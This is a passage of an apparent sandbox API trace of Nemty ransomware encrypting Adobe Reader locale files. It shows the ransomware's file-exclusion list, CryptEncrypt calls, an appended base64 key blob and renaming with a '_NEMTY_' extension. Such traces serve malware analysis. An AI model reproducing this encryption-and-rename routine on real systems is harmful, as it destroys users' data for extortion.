Size=0x1200) returned 0x6352c48 [0176.326] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.326] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0176.327] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.327] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0176.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.328] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0176.328] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.328] CloseHandle (hObject=0x2e8) returned 1 [0176.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.328] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\reflow.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\reflow.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\reflow.euq._nemty_kgobjgd_")) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.329] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.EUQ", cAlternateFileName="SAVEAS~1.EUQ")) returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2=".") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="..") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="...") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="windows") returned -1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="rsa") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="ntldr") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="IO.SYS") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="boot.ini") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="boot.ini") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="ntuser.dat") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="desktop.ini") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="RECYCLER") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="bootmgr") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="programdata") returned 1 [0176.329] lstrcmpiW (lpString1="SaveAsRTF.EUQ", lpString2="appdata") returned 1 [0176.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.330] Sleep (dwMilliseconds=0x5) [0176.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cc0fbb0, dwHighDateTime=0x1d561e8)) [0176.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cc0fbb0, dwHighDateTime=0x1d561e8)) [0176.340] GetLastError () returned 0x0 [0176.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.340] GetLastError () returned 0x0 [0176.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.341] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.341] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.341] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.341] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="hrYKSXk3Otj6aRIZ/qGgebXA/X2p/KIefOiDn4rooB5lmEScLr1GrGL/2fWPx6t9\r\n90dpxGOUC/Go8l57smgMVMv7y/gL5d4WPKH/gsdqjB2IiqXlFXr44TxvKjmrrYfW\r\nDLmVRFj0bJk8QGM3SjjR9GTNlDa3kbbA+SpxIY1Y9KxWJR6GzRXFhL97NII31Ruo\r\nEq3Nh6q45yuWeB/uC/FyL76mtffvKIJm+aV5b0bCKQIADxDIeuVr0fhwm959eLEb\r\nj8UPzZN/bPRiCBfNdHL7Vr+UbvJVeuO8vAfnddWDQd1Hb5Xua4WTH4zEV3PDMGKr\r\nKdNBPC1xrMwRr5UpSWLZfA==\r\n", pcchString=0x653e5dc) returned 1 [0176.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.341] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.341] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0176.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0176.341] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.341] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0176.344] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.344] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0176.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.344] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0176.344] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.344] CloseHandle (hObject=0x2e8) returned 1 [0176.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.345] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq._nemty_kgobjgd_")) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.345] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.EUQ", cAlternateFileName="")) returned 1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2=".") returned 1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2="..") returned 1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2="...") returned 1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2="windows") returned -1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2="rsa") returned 1 [0176.345] lstrcmpiW (lpString1="Search.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="ntldr") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="IO.SYS") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="boot.ini") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="boot.ini") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="ntuser.dat") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="desktop.ini") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="RECYCLER") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="bootmgr") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="programdata") returned 1 [0176.346] lstrcmpiW (lpString1="Search.EUQ", lpString2="appdata") returned 1 [0176.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.EUQ", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.EUQ", lpUsedDefaultChar=0x0) returned 10 [0176.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.347] Sleep (dwMilliseconds=0x5) [0176.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cc35d10, dwHighDateTime=0x1d561e8)) [0176.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cc35d10, dwHighDateTime=0x1d561e8)) [0176.356] GetLastError () returned 0x0 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.356] GetLastError () returned 0x0 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: 